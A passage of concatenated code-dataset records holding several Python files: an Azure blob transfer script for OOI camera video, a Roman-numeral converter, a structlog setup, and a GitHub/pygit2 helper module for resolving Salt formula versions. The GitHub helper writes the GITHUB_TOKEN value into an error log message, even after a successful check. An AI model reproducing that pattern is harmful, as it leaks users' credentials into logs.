blob_service_client.get_container_client('camhd')\nazure_list = [blob.name for blob in container_client.list_blobs()]\n\n\n# Filter list\ntransfer_list = []\nfor url in raw_list:\n filename = url.split('/')[-1].strip()\n if filename in azure_list:\n blob_client = blob_service_client.get_blob_client(container = 'camhd', blob = filename)\n md5_hash = blob_client.get_blob_properties()['content_settings']['content_md5']\n if not md5_hash:\n transfer_list.append(url)\n if filename not in azure_list:\n transfer_list.append(url)\n\n\n# transfer files\ncontainer = 'https://ooiopendata.blob.core.windows.net/camhd?'\nfor i, url in enumerate(transfer_list):\n filename = url.split('/')[-1].strip()\n size = int(requests.get(url, stream=True).headers['Content-length'])/1024/1024/1024\n if size > 40:\n print('Skipping %s (%f GB)' % (filename, size))\n else:\n print('Copying %s [%i/%i]' % (filename, i+1, len(transfer_list)))\n subprocess.check_output(['wget', '-q', '-O', '/mnt/opendata/%s' % filename, url])\n subprocess.check_output(['/usr/local/bin/azcopy', 'copy', '/mnt/opendata/%s' % filename, container + keys['camhd'], '--put-md5'])\n subprocess.check_output(['rm', '/mnt/opendata/%s' % filename])\n\n\n# delete files on Azure for testing\n#for file_url in files_to_transfer:\n# filename = file_url.split('/')[-1].strip()\n# print('Deleting %s' % filename)\n# blob_client = blob_service_client.get_blob_client(container = 'camhd', blob = filename)\n# blob_client.delete_blob()\n\n\n","sub_path":"scripts/xfer_camhd.py","file_name":"xfer_camhd.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"336514676","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 29 17:06:00 2020\r\n\r\n@author: z\r\n\"\"\"\r\n\r\n\r\ndef romantoint(s):\r\n \r\n \"\"\"\r\n converts roman value to integers\r\n \"\"\"\r\n\r\n dict = {\"M\" : 1000, \"D\" : 500, \"C\" : 100, \"L\":50, \"X\":10, \"V\":5, \"I\":1}\r\n s += 'I'\r\n ans = 0\r\n i = 1\r\n\r\n while i < len(s):\r\n if dict[s[-(i+1)]] < dict[s[-i]]:\r\n ans -= dict[s[-(i+1)]]\r\n else:\r\n ans += dict[s[-(i+1)]]\r\n i += 1\r\n return ans","sub_path":"roman_to_integer.py","file_name":"roman_to_integer.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"342902148","text":"import logging.config\n\nimport structlog\nfrom structlog import configure, processors, stdlib, threadlocal\n\n\nlogging.config.dictConfig({\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'json': {\n 'format': '%(message)s',\n 'class': 'pythonjsonlogger.jsonlogger.JsonFormatter'\n }\n },\n 'handlers': {\n 'json': {\n 'class': 'logging.StreamHandler',\n 'formatter': 'json'\n }\n },\n 'loggers': {\n '': {\n 'handlers': ['json'],\n 'level': logging.DEBUG\n }\n }\n})\n\nconfigure(\n context_class=threadlocal.wrap_dict(dict),\n logger_factory=stdlib.LoggerFactory(),\n wrapper_class=stdlib.BoundLogger,\n processors=[\n stdlib.filter_by_level,\n stdlib.add_logger_name,\n stdlib.add_log_level,\n stdlib.PositionalArgumentsFormatter(),\n processors.TimeStamper(fmt=\"iso\"),\n processors.StackInfoRenderer(),\n processors.format_exc_info,\n processors.UnicodeDecoder(),\n stdlib.render_to_log_kwargs]\n)\n\nlog = structlog.getLogger()\n","sub_path":"noodle_logging/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"351821321","text":"import json\nimport requests\nimport os\nimport re\nimport sys\nimport pygit2\nfrom parse import parse\nimport urlparse\nfrom distutils.version import LooseVersion\nimport metadata\nfrom errors import ConstraintResolutionException\nfrom errors import GithubRepositoryConnectionException\nimport shaker.libs.logger\nfrom shaker.libs.pygit2_utils import pygit2_parse_error\n\n\nconst_re = re.compile('([=><]+)\\s*(.*)')\ntag_re = re.compile('v[0-9]+\\.[0-9]+\\.[0-9]+')\n\n\ndef parse_github_url(url):\n \"\"\"\n Parse a github url og the form\n git@github.com:test_organisation/test3-formula.git==v3.0.2\n with or witgout constraint and return a\n dictionary of information about it\n\n Args:\n url(string): The github url to parse\n\n Returns:\n debug(dictionary): A dictionary of information\n about the url of the form\n {\n 'source': ,\n 'name': ,\n 'organisation': ,\n 'constraint': \n }\n \"\"\"\n github_root = \"git@github.com:\"\n shaker.libs.logger.Logger().debug(\"github::parse_github_url: \"\n \" Parsing '%s'\"\n % (url))\n constraint = ''\n result = None\n have_constraint = False\n try:\n have_constraint = url.split('.git')[1] != ''\n except IndexError as e:\n msg = (\"github::parse_github_url: Could not split url '%s', '%s'\"\n % (url, e))\n raise IndexError(msg)\n\n if have_constraint:\n result = parse(\"%s{organisation}/{name}.git{constraint}\"\n % (github_root),\n url)\n constraint = result['constraint']\n else:\n result = parse(\"%s{organisation}/{name}.git\"\n % (github_root),\n url)\n shaker.libs.logger.Logger().debug(\"github::parse_github_url:\"\n \"No constraint found for %s\"\n % (url))\n\n organisation = result['organisation']\n name = result['name']\n source = \"%s%s/%s.git\" % (github_root, organisation, name)\n\n info = {\n 'source': source,\n 'name': name,\n 'organisation': organisation,\n 'constraint': constraint,\n }\n return info\n\n\ndef parse_semver_tag(tag):\n \"\"\"\n Convert a tag name into a dictionary of semver compliant\n data. Formats must be of the form,\n v{major}.{minor}.{patch}(-postfix)\n eg,\n v1.2.3\n v1.2.3-prerelease_tag1\n\n Args:\n tag(string): The tag to convert\n\n Returns:\n dictionary: Dictionary of semver compliant data of form,\n { \"major: major_version,\n \"minor\": minor_version,\n \"patch\": patch_version,\n \"postfix\": (posfix-tag)\n }\n If the tag could not be parsed, the values of all keys are set to None.\n \"\"\"\n retval = {\n \"major\": None,\n \"minor\": None,\n \"patch\": None,\n \"postfix\": None,\n }\n\n # Use these regexs to determine the accetable tag type\n version_comparators = {\n 'release': 'v(\\d+).(\\d+).(\\d+)$',\n 'prerelease': 'v(\\d+).(\\d+).(\\d+)-(.+)',\n 'prerelease-compat': 'v(\\d+).(\\d+).(\\d+)(.+)',\n }\n\n # Check for a release v1.2.3\n if re.match(version_comparators[\"release\"], tag):\n parsed_results = parse('v{major:d}.{minor:d}.{patch:d}', tag)\n retval = {\n \"major\": parsed_results[\"major\"],\n \"minor\": parsed_results[\"minor\"],\n \"patch\": parsed_results[\"patch\"],\n \"postfix\": None,\n }\n # Check for a semver compliant prerelease v1.2.3-pre1\n elif re.match(version_comparators[\"prerelease\"], tag):\n parsed_results = parse('v{major:d}.{minor:d}.{patch:d}-{postfix}', tag)\n retval = {\n \"major\": parsed_results[\"major\"],\n \"minor\": parsed_results[\"minor\"],\n \"patch\": parsed_results[\"patch\"],\n \"postfix\": parsed_results[\"postfix\"],\n }\n # Check for a non-semver compliant prerelease v1.2.3pre1\n elif re.match(version_comparators[\"prerelease-compat\"], tag):\n parsed_results = re.match(version_comparators[\"prerelease-compat\"], tag).groups()\n retval = {\n \"major\": int(parsed_results[0]),\n \"minor\": int(parsed_results[1]),\n \"patch\": int(parsed_results[2]),\n \"postfix\": parsed_results[3],\n }\n # Not an acceptable versioned tag\n else:\n shaker.libs.logger.Logger().debug(\"github::parse_semver_tag: \"\n \"Failed to parse tag %s'\"\n % (tag))\n\n return retval\n\n\ndef convert_tag_to_semver(tag):\n \"\"\"\n Convert a tag name into a list of semver compliant data\n Formats must be of the form,\n v{major}.{minor}.{patch}(-postfix)\n eg,\n v1.2.3\n v1.2.3-prerelease_tag1\n\n Args:\n tag(string): The tag to convert\n\n Returns:\n list: List of semver compliant data of form,\n [major_version, minor_version, patch_version, (posfix-tag)]\n Or return an empty list if the tag could not be parsed.\n \"\"\"\n parsed_results = parse_semver_tag(tag)\n rettag = [\n parsed_results[\"major\"],\n parsed_results[\"minor\"],\n parsed_results[\"patch\"],\n parsed_results[\"postfix\"],\n ]\n\n return rettag\n\n\ndef get_valid_tags(org_name,\n formula_name,\n max_tag_count=1000):\n \"\"\"\n Get all semver compliant tags from a repository using the\n formula organisation and name\n\n Args:\n org_name(string): The organisation name of the repository\n formula_name(string): The formula name of the repository\n max_tag_count(int): Limit on amount of tags to fetch\n\n Returns:\n string: The tag that is calculated to be the 'preferred' one\n list: All the tag versions found that were semver compliant\n dictionary: Data for all tags, semver compliant or not\n \"\"\"\n\n github_token = get_valid_github_token()\n if not github_token:\n msg = \"github::get_branch_data: No valid github token\"\n raise GithubRepositoryConnectionException(msg)\n\n tags_url = ('https://api.github.com/repos/%s/%s/tags?per_page=%s'\n % (org_name, formula_name, max_tag_count))\n tag_versions = []\n tags_data = {}\n tags_json = requests.get(tags_url,\n auth=(github_token, 'x-oauth-basic'))\n\n shaker.libs.logger.Logger().debug(\"github::get_valid_tags: \"\n \"Calling validate_github_access with %s \"\n % str(tags_json))\n\n # Check for successful access and any credential problems\n if validate_github_access(tags_json):\n try:\n tags_data = json.loads(tags_json.text)\n for tag in tags_data:\n raw_name = tag['name']\n\n semver_info = convert_tag_to_semver(raw_name)\n # If we have a semver valid tag, then add,\n # otherwise ignore\n if len(semver_info) > 0:\n parsed_tag_version_results = parse('v{tag}', raw_name)\n if parsed_tag_version_results:\n shaker.libs.logger.Logger().debug(\"github::get_valid_tags: \"\n \"Appending valid tag %s'\"\n % (raw_name))\n parsed_tag_version = parsed_tag_version_results[\"tag\"]\n tag_versions.append(parsed_tag_version)\n else:\n shaker.libs.logger.Logger().warning(\"github::get_valid_tags: \"\n \"Ignoring semver invalid tag %s'\"\n % (raw_name))\n\n tag_versions.sort()\n wanted_version = get_latest_tag(tag_versions,\n include_prereleases=False)\n if wanted_version:\n wanted_tag = 'v{0}'.format(wanted_version)\n else:\n wanted_tag = None\n\n except ValueError as e:\n msg = (\"github::get_valid_tags: \"\n \"Invalid json for url '%s': %s\"\n % (tags_url,\n e.message))\n raise ValueError(msg)\n else:\n wanted_tag = None\n\n shaker.libs.logger.Logger().debug(\"github::get_valid_tags: \"\n \"wanted_tag=%s, tag_versions=%s\"\n % (wanted_tag, tag_versions))\n return wanted_tag, tag_versions, tags_data\n\n\ndef get_branch_data(org_name,\n formula_name,\n branch_name):\n \"\"\"\n Get the raw data from github for a specific branch of the repo\n\n Args:\n org_name(string): The organisation name of the repository\n formula_name(string): The formula name of the repository\n branch_name(string): Name of the branch\n\n Returns:\n dictionary: Data for the specific branch or a empty in case of\n problems\n \"\"\"\n\n shaker.libs.logger.Logger().debug(\"github::get_branch_data: \"\n \"starts here: org_name %s \"\n \"formula_name %s branch_name %s\"\n % (org_name, formula_name, branch_name))\n github_token = get_valid_github_token()\n if not github_token:\n msg = \"github::get_branch_data: No valid github token\"\n raise GithubRepositoryConnectionException(msg)\n\n branch_url = ('https://api.github.com/repos/%s/%s/branches/%s'\n % (org_name, formula_name, branch_name))\n shaker.libs.logger.Logger().debug(\"github::get_branch_data: \"\n \"branch_url %s \"\n % (branch_url))\n branch_json = requests.get(branch_url,\n auth=(github_token, 'x-oauth-basic'))\n\n shaker.libs.logger.Logger().debug(\"github::get_branch_data: \"\n \"Calling validate_github_access with %s \"\n % str(branch_json))\n # Check for successful access and any credential problems\n if validate_github_access(branch_json):\n try:\n branch_data = json.loads(branch_json.text)\n except ValueError as e:\n msg = (\"github::get_branch_data: \"\n \"Invalid json for url '%s': %s\"\n % (branch_url,\n e.message))\n raise ValueError(msg)\n else:\n branch_data = None\n\n return branch_data\n\n\ndef get_latest_tag(tag_versions,\n include_prereleases=False):\n \"\"\"\n Get the latest valid semver tag from a list of tag versions.\n Trivially we can return the very latest if we like, but this\n will skip non-release versions by default\n\n Args:\n tag_versions(list): List of tag versions, in format\n [\n \"1.2.3-prerelease1\",\n \"1.1.1\",\n \"0.8.7\"\n ]\n include_prereleases(bool): True to include prereleases\n in looking for latest semver compliant release tags,\n false to only use releases (eg, 1.2.3)\n\n Returns:\n string: tag version of the latest tag, in form \"1.2.3\"\n \"\"\"\n shaker.libs.logger.Logger().debug(\"github::get_latest_tag: \"\n \"Latest from %s\"\n % (tag_versions))\n tag_versions.sort(key=LooseVersion)\n for tag_version in reversed(tag_versions):\n is_release = is_tag_release(\"v%s\" % tag_version)\n is_prerelease = is_tag_prerelease(\"v%s\" % tag_version)\n\n if not include_prereleases:\n if is_release and not is_prerelease:\n shaker.libs.logger.Logger().debug(\"github::get_latest_tag: \"\n \"Found '%s' (excluding pre-releases)\"\n % (tag_version))\n return tag_version\n else:\n if is_release or is_prerelease:\n shaker.libs.logger.Logger().debug(\"github::get_latest_tag: \"\n \"Found '%s' (including pre-releases)\"\n % (tag_version))\n return tag_version\n\n return None\n\n\ndef is_tag_release(tag):\n \"\"\"\n Simple check for a release\n\n Args:\n tag(string): The tag in format v1.2.3\n\n Returns:\n bool: True if format is that of a release,\n false otherwise\n \"\"\"\n parsed_tag = parse_semver_tag(tag)\n valid_version_checks = (\n (parsed_tag[\"major\"] is not None) and\n (parsed_tag[\"minor\"] is not None) and\n (parsed_tag[\"patch\"] is not None)\n )\n if not valid_version_checks:\n shaker.libs.logger.Logger().debug(\"github::is_tag_release: \"\n \"%s is not release, bad version checks\" % (tag))\n return False\n if parsed_tag[\"postfix\"]:\n shaker.libs.logger.Logger().debug(\"github::is_tag_release: \"\n \"%s is not release, contains postfix\" % (tag))\n return False\n\n shaker.libs.logger.Logger().debug(\"github::is_tag_release: \"\n \"%s is release\" % (tag))\n return True\n\n\ndef is_tag_prerelease(tag):\n \"\"\"\n Simple check for a pre-release\n\n Args:\n tag(string): The tag in format v1.2.3-postfix\n\n Returns:\n bool: True if format is that of a pre-release,\n false otherwise\n \"\"\"\n parsed_tag = parse_semver_tag(tag)\n valid_version_checks = (\n (parsed_tag[\"major\"] is not None) and\n (parsed_tag[\"minor\"] is not None) and\n (parsed_tag[\"patch\"] is not None)\n )\n if valid_version_checks and parsed_tag[\"postfix\"]:\n shaker.libs.logger.Logger().debug(\"github::is_tag_prerelease: \"\n \"%s is pre-release\" % (tag))\n return True\n\n shaker.libs.logger.Logger().debug(\"github::is_tag_prerelease: \"\n \"%s is not pre-release\" % (tag))\n return False\n\n\ndef resolve_constraint_to_object(org_name, formula_name, constraint):\n \"\"\"\n For a given formula, take the constraint and compare it to\n the repositories available tags. Then try to find a tag that\n best resolves within the constraint.\n\n If we can get resolutions, return the json data object associated\n with the tag. If not, then raise a ConstraintResolutionException\n\n Args:\n org_name(string): The organisation name of the formula\n formula_name(string): The formula name\n constraint(string): The constraint to be applied, in the form\n . eg, '==v1.0.1', '>=2.0.1'\n\n Returns:\n dictionary: Json data from github associated with the resolved tag\n ConstraintResolutionException: If no resolutions was possible\n \"\"\"\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: \"\n \"resolve_constraint_to_object(%s, %s, %s)\"\n % (org_name, formula_name, constraint))\n\n # do we have a constraint?\n if constraint:\n # is it a branch or a tag?\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"constraint is not empty '%s'\"\n % (org_name, formula_name, constraint))\n parsed_constraint = metadata.parse_constraint(constraint)\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"parsed_constraint '%s'\"\n % (org_name, formula_name, str(parsed_constraint)))\n # is it a branch (i.e. not a version)\n if not parsed_constraint['version']:\n branch_name = parsed_constraint['tag']\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"There is no version, assuming this is \"\n \"a branch, name: '%s'\"\n % (org_name, formula_name, branch_name))\n branch_data = get_branch_data(org_name, formula_name, branch_name)\n if not branch_data:\n raise ConstraintResolutionException(\"github::resolve_constraint_to_object: %s/%s: \"\n \"github did not return any value for \"\n \"branch '%s'\"\n % (org_name, formula_name, branch_name))\n return branch_data\n\n # carry on with version analyses\n wanted_tag, tag_versions, tags_data = get_valid_tags(org_name, formula_name)\n if not constraint or (constraint == ''):\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"No constraint specified, returning '%s'\"\n % (org_name,\n formula_name,\n wanted_tag))\n obj = None\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"type of tags_data: %s\"\n % (org_name,\n formula_name,\n type(tags_data)))\n for tag_data in tags_data:\n if tag_data[\"name\"] == wanted_tag:\n obj = tag_data\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"type of (note no s!) tag_data: %s\"\n % (org_name,\n formula_name,\n type(tag_data)))\n break\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"returning obj: '%s' type: %s\"\n % (org_name,\n formula_name,\n str(obj), type(obj)))\n return obj\n\n parsed_constraint = metadata.parse_constraint(constraint)\n parsed_comparator = parsed_constraint['comparator']\n parsed_tag = parsed_constraint['tag']\n parsed_version = parsed_constraint['version']\n\n # See if we can pick up a version\n if tag_versions and parsed_version:\n if parsed_comparator == '==':\n if parsed_version in tag_versions:\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"Found exact version '%s'\"\n % (org_name,\n formula_name,\n parsed_version))\n obj = None\n for tag_data in tags_data:\n if tag_data[\"name\"] == parsed_tag:\n obj = tag_data\n break\n return obj\n else:\n raise ConstraintResolutionException(\"github::resolve_constraint_to_object: %s/%s: \"\n \"Could not satisfy constraint for '%s', \"\n \" version %s not in tag list %s\"\n % (org_name,\n formula_name,\n constraint,\n parsed_constraint,\n tag_versions))\n else:\n # Get a versioned tag (eg, v1.1.0) that is most greater than,\n # or least less than\n # but also not another type of tag (eg 'fdfsdfdsfsd')\n valid_version = None\n if parsed_comparator == '>=':\n # Get latest non pre-release version\n for tag_version in reversed(tag_versions):\n if (tag_version >= parsed_version):\n if not is_tag_prerelease(tag_version):\n valid_version = tag_version\n break\n else:\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"Skipping pre-release version '%s'\"\n % (org_name,\n formula_name,\n tag_version))\n else:\n raise ConstraintResolutionException(\"github::resolve_constraint_to_object: %s/%s: \"\n \" No non-prerelease version found %s\"\n % (org_name,\n formula_name,\n constraint))\n\n elif parsed_comparator == '<=':\n valid_version = None\n for tag_version in reversed(tag_versions):\n if (tag_version <= parsed_version):\n if not is_tag_prerelease(tag_version):\n valid_version = tag_version\n break\n else:\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"Skipping pre-release version '%s'\"\n % (org_name,\n formula_name,\n tag_version))\n\n if not valid_version:\n raise ConstraintResolutionException(\"github::resolve_constraint_to_object: %s/%s: \"\n \" No non-prerelease version found '%s'\"\n % (org_name,\n formula_name,\n constraint))\n else:\n msg = (\"github::resolve_constraint_to_object: \"\n \"Unknown comparator '%s/%s%s'\" % (org_name,\n formula_name,\n parsed_comparator))\n raise ConstraintResolutionException(msg)\n\n if valid_version:\n shaker.libs.logger.Logger().debug(\"github::resolve_constraint_to_object: %s/%s: \"\n \"resolve_constraint_to_object:Found valid version '%s'\"\n % (org_name,\n formula_name,\n valid_version))\n valid_tag = 'v%s' % valid_version\n obj = None\n for tag_data in tags_data:\n if tag_data[\"name\"] == valid_tag:\n obj = tag_data\n break\n\n return obj\n else:\n raise ConstraintResolutionException(\"github::resolve_constraint_to_object: %s/%s: \"\n 'Constraint %s cannot be satisfied'\n % (org_name,\n formula_name,\n constraint))\n else:\n msg = (\"github::resolve_constraint_to_object: \"\n \"Unknown parsed constraint '%s' from '%s'\" % (parsed_constraint, constraint))\n raise ConstraintResolutionException(msg)\n raise ConstraintResolutionException(\"github::resolve_constraint_to_object: %s/%s: \"\n 'Constraint {} cannot be satisfied'.format(org_name,\n formula_name,\n constraint))\n return None\n\n\ndef get_valid_github_token(online_validation_enabled=False):\n \"\"\"\n Check for a github token environment variable. If its not there,\n or is invalid, log a message and return None. Otherwise, return the token string\n\n Parameters:\n online_validation_enabled (bool): If True, then try out the credentials against\n the github api for success. No online validation if false\n Returns:\n github_token (string): The valid github token, None if invalid\n \"\"\"\n github_token = None\n\n # A simple check for the right environment variable\n if \"GITHUB_TOKEN\" not in os.environ:\n shaker.libs.logger.Logger().error(\"No github token found. \"\n \"Please set your GITHUB_TOKEN environment variable\")\n else:\n # Test an oauth call to the api, make sure the credentials are\n # valid and we're not locked out\n if online_validation_enabled:\n url = \"https://api.github.com\"\n response = requests.get(url,\n auth=(os.environ[\"GITHUB_TOKEN\"],\n 'x-oauth-basic'))\n\n shaker.libs.logger.Logger().debug(\"github::get_valid_github_token:\"\n \"Calling validate_github_access with %s\" % (str(response)))\n # Validate the response against expected status codes\n # Set the return value to the token if we have success\n valid_response = validate_github_access(response)\n if valid_response:\n github_token = os.environ[\"GITHUB_TOKEN\"]\n shaker.libs.logger.Logger().error(\"No valid repsonse from github token '%s'\"\n % (github_token))\n else:\n # If we're not validating online, just accept that we have a token\n github_token = os.environ[\"GITHUB_TOKEN\"]\n\n return github_token\n\n\ndef validate_github_access(response, url=None):\n \"\"\"\n Validate the github api's response for known credential problems\n\n Checked responses are\n\n * Authenticating with invalid credentials will return 401 Unauthorized:\n\n HTTP/1.1 401 Unauthorized\n {\n \"message\": \"Bad credentials\",\n \"documentation_url\": \"https://developer.github.com/v3\"\n }\n\n * Forbidden\n HTTP/1.1 403 Forbidden\n {\n \"message\": \"Maximum number of login attempts exceeded. Please try again later.\",\n \"documentation_url\": \"https://developer.github.com/v3\"\n }\n\n Args:\n response (requests.models.Response): The Response from the github server\n\n Returns:\n valid_credentials (bool): True if access was successful, false otherwise\n\n \"\"\"\n\n # Assume invalid credentials unless proved otherwise\n shaker.libs.logger.Logger().debug(\"github::validate_github_access:starts here:response: %s\"\n % str(response))\n\n if (type(response) == requests.models.Response):\n\n # Check the status codes for success\n if response.status_code == 200:\n shaker.libs.logger.Logger().debug(\"github::validate_github_access:Github access checked ok\")\n return True\n else:\n # Set a default response message, use the real one if we\n # find it in the response\n response_message = \"No response found\"\n try:\n # Access the responses body as json\n response_json = json.loads(response.text)\n\n if \"message\" in response_json:\n response_message = response_json[\"message\"]\n shaker.libs.logger.Logger().debug(\"Github credentials test got response: %s\"\n % response_json)\n except:\n # Just ignore if we can'l load json, its not essential here\n if (response.status_code == 401) and (\"Bad credentials\" in response_message):\n shaker.libs.logger.Logger().error(\"validate_github_access: \"\n \"Github credentials incorrect: %s\" % response_message)\n elif response.status_code == 403 and (\"Maximum number of login attempts exceeded\" in response_message):\n shaker.libs.logger.Logger().error(\"validate_github_access: \"\n \"Github credentials failed due to lockout: %s\" % response_message)\n elif response.status_code == 404:\n shaker.libs.logger.Logger().debug(\"github::validate_github_access: \"\n \"URL %s not found\" % url)\n else:\n shaker.libs.logger.Logger().warning(\"validate_github_access: \"\n \"Unknown problem checking credentials: %s\" % response)\n else:\n shaker.libs.logger.Logger().error(\"Invalid response: %s\" % response)\n\n return False\n\n\ndef open_repository(url,\n target_directory):\n \"\"\"\n Make a connection from a remote git repository into a local\n directory.\n\n Args:\n url(string): The remote github url of the repository\n target_directory(string): The local target directory\n\n Returns:\n pygit2.repo: The repository object created\n \"\"\"\n git_url = urlparse.urlparse(url)\n username = git_url.netloc.split('@')[0]\\\n if '@' in git_url.netloc else 'git'\n try:\n credentials = pygit2.credentials.KeypairFromAgent(username)\n except AttributeError as e:\n pygit2_parse_error(e)\n\n # If local directory exists, then make a connection to it\n # Otherwise, clone the remote repo into the new directory\n if os.path.isdir(target_directory):\n shaker.libs.logger.Logger().debug(\"open_repository: \"\n \"Opening url '%s' \"\n \"with existing local repository '%s'\"\n % (url, target_directory))\n repo = pygit2.Repository(target_directory)\n else:\n # Try to use pygit2 0.22 cloning\n try:\n shaker.libs.logger.Logger().debug(\"open_repository: \"\n \"Trying to open repository \"\n \"using pygit2 0.22 format\")\n repo = pygit2.clone_repository(url,\n target_directory,\n credentials=credentials)\n except TypeError as e:\n shaker.libs.logger.Logger().debug(\"open_repository: \"\n \"Failed to detect pygit2 0.22\")\n shaker.libs.logger.Logger().debug(\"open_repository: \"\n \"Trying to open repository \"\n \"using pygit2 0.23 format\")\n # Try to use pygit2 0.23 cloning\n callbacks = pygit2.RemoteCallbacks(credentials)\n repo = pygit2.clone_repository(url,\n target_directory,\n callbacks=callbacks)\n\n shaker.libs.logger.Logger().debug(\":open_repository: \"\n \"Cloning url '%s' into local repository '%s'\"\n % (url, target_directory))\n origin = filter(lambda x: x.name == 'origin', repo.remotes)\n if not origin:\n repo.create_remote('origin', url)\n origin = filter(lambda x: x.name == 'origin', repo.remotes)\n origin[0].credentials = credentials\n\n return repo\n\n\ndef install_source(target_source,\n target_directory,\n use_tag=False):\n \"\"\"\n Install the requirement as specified by the formula dictionary and\n return the directory symlinked into the roots_dir. The sha revision\n will be checked out if specified, and if not, then the tag will be\n checked out if present\n\n Args:\n target_source(dictionary): A keyed collection of information about the\n source of the format\n {\n 'name': '',\n 'url': '',\n 'sha': ,\n 'tag': ,\n }\n target_directory(string): THe directory to install into\n use_tag(bool): True to use the tag value for versioning,\n False otherwise\n \"\"\"\n shaker.libs.logger.Logger().debug(\"install_source(%s, %s, %s)\"\n % (target_source,\n target_directory,\n use_tag))\n target_name = target_source.get('name', None)\n target_url = target_source.get('source', None)\n target_sha = target_source.get('sha', None)\n target_tag = target_source.get('tag', None)\n\n target_path = os.path.join(target_directory,\n target_name)\n shaker.libs.logger.Logger().debug(\"install_source: Opening %s in directory %s, \"\n \"with url %s, sha %s, tag %s\"\n % (target_name,\n target_directory,\n target_url,\n target_sha,\n target_tag))\n target_repository = open_repository(target_url, target_path)\n\n if use_tag:\n if target_tag is None:\n shaker.libs.logger.Logger().error(\"github::install_source: Tag usage specified but is empty\")\n return False\n # Look for tag, if not then look for branch\n try:\n parsed_tag = target_repository.revparse_single(target_tag)\n\n # If parsed tag refs a tag object, look for the actual commit object\n if parsed_tag.type == pygit2.GIT_OBJ_TAG:\n target_sha = parsed_tag.peel(pygit2.GIT_OBJ_COMMIT).hex\n else:\n target_sha = parsed_tag.hex\n\n shaker.libs.logger.Logger().debug(\"github::install_source: Found tag sha '%s' for tag '%s'\"\n % (target_sha, target_tag))\n except KeyError:\n # Try to find the branch\n branch = target_repository.lookup_branch((\"origin/%s\" % target_tag),\n pygit2.GIT_BRANCH_REMOTE)\n\n if branch is not None:\n target_repository.checkout(branch)\n parsed_tag = target_repository.revparse_single('HEAD')\n target_sha = parsed_tag.hex\n else:\n shaker.libs.logger.Logger().debug(\"github::install_source: \"\n \"Could not find branch '%s', '%s'\"\n % (target_tag, branch))\n # We couldnt resolve this tag\n shaker.libs.logger.Logger().error(\"github::install_source: Could not find tag or branch %s\"\n % (target_tag))\n return False\n # Use the sha target if it exists, otherwise try the tag value\n else:\n if target_sha is None:\n shaker.libs.logger.Logger().error(\"github::install_source: Raw sha usage specified but is empty\")\n return False\n\n current_sha = get_repository_sha(target_path,\n revision='HEAD')\n # If the local and target shas are the same, skip\n # otherwise, update the repository\n if current_sha == target_sha:\n shaker.libs.logger.Logger().debug(\"github::install_source: %s: \"\n \"Target and current shas are equivalent...\"\n \"skipping update: %s\"\n % (target_path,\n target_sha))\n return True\n else:\n shaker.libs.logger.Logger().debug(\"github::install_source: Found raw sha '%s'\"\n % (target_sha))\n\n # We should have a sha now, use it to setup the repos\n target_oid = pygit2.Oid(hex=target_sha)\n\n target_repository.checkout_tree(target_repository[target_oid].tree)\n shaker.libs.logger.Logger().debug(\"github::install_source: Checking out oid '%s' in '%s\"\n % (target_oid, target_path))\n # The line below is *NOT* just setting a value.\n # Pygit2 internally resets the head of the filesystem to the OID we set.\n target_repository.set_head(target_oid)\n\n if target_repository.head.get_object().hex != target_sha:\n shaker.libs.logger.Logger().debug(\"Resetting sha mismatch on source '%s'\"\n % (target_name))\n target_repository.reset(target_sha, pygit2.GIT_RESET_HARD)\n\n shaker.libs.logger.Logger().debug(\"Source '%s' is at version '%s'\"\n % (target_name, target_sha))\n return True\n\n\ndef get_origin_for_remote(repository):\n \"\"\"\n Find the origin of a remote repository\n\n Args:\n repository(pygit2.repository):\n The remote repository to search\n\n Returns:\n pygit2.remote: The remote origin, None type\n if it couldn't be found\n \"\"\"\n for remote in repository.remotes:\n if remote.name == 'origin':\n url_bits = urlparse.urlparse(remote.url)\n if url_bits.scheme == 'git':\n remote.url = 'ssh://{0}{1}'.format(url_bits.netloc,\n url_bits.path)\n remote.save()\n return remote\n\n return None\n\n\ndef get_repository_sha(path,\n revision='HEAD'):\n \"\"\"\n Get the sha from a repository path and revision\n\n Args:\n path(string): The path to the repository to open\n revision(string): the revision to get the sha of\n\n Returns:\n string: The sha of the revision, None type if\n not found\n \"\"\"\n try:\n repository = pygit2.Repository(path)\n sha = repository.revparse_single(revision).oid\n return sha.__str__()\n except KeyError as e:\n shaker.libs.logger.Logger().debug(\"github::get_repository_sha: \"\n \"Error opening repository: %s\"\n % (e))\n return None\n","sub_path":"shaker/libs/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":40042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"596276179","text":"import os\nimport argparse\nfrom PIL import Image, ImageOps\nimport numpy as np\nimport math\n\n\ndef get_base_by_color(base):\n \"\"\"\n Get color based on a base.\n - Uses different band of the same channel.\n :param base:\n :return:\n \"\"\"\n if base >= 250.0:\n return 'A'\n if base >= 180.0:\n return 'G'\n if base >= 100.0:\n return 'C'\n if base >= 30.0:\n return 'T'\n if base >= 5.0:\n return '*'\n\n\ndef get_alt_support_by_color(is_in_support):\n \"\"\"\n ***NOT USED YET***\n :param is_in_support:\n :return:\n 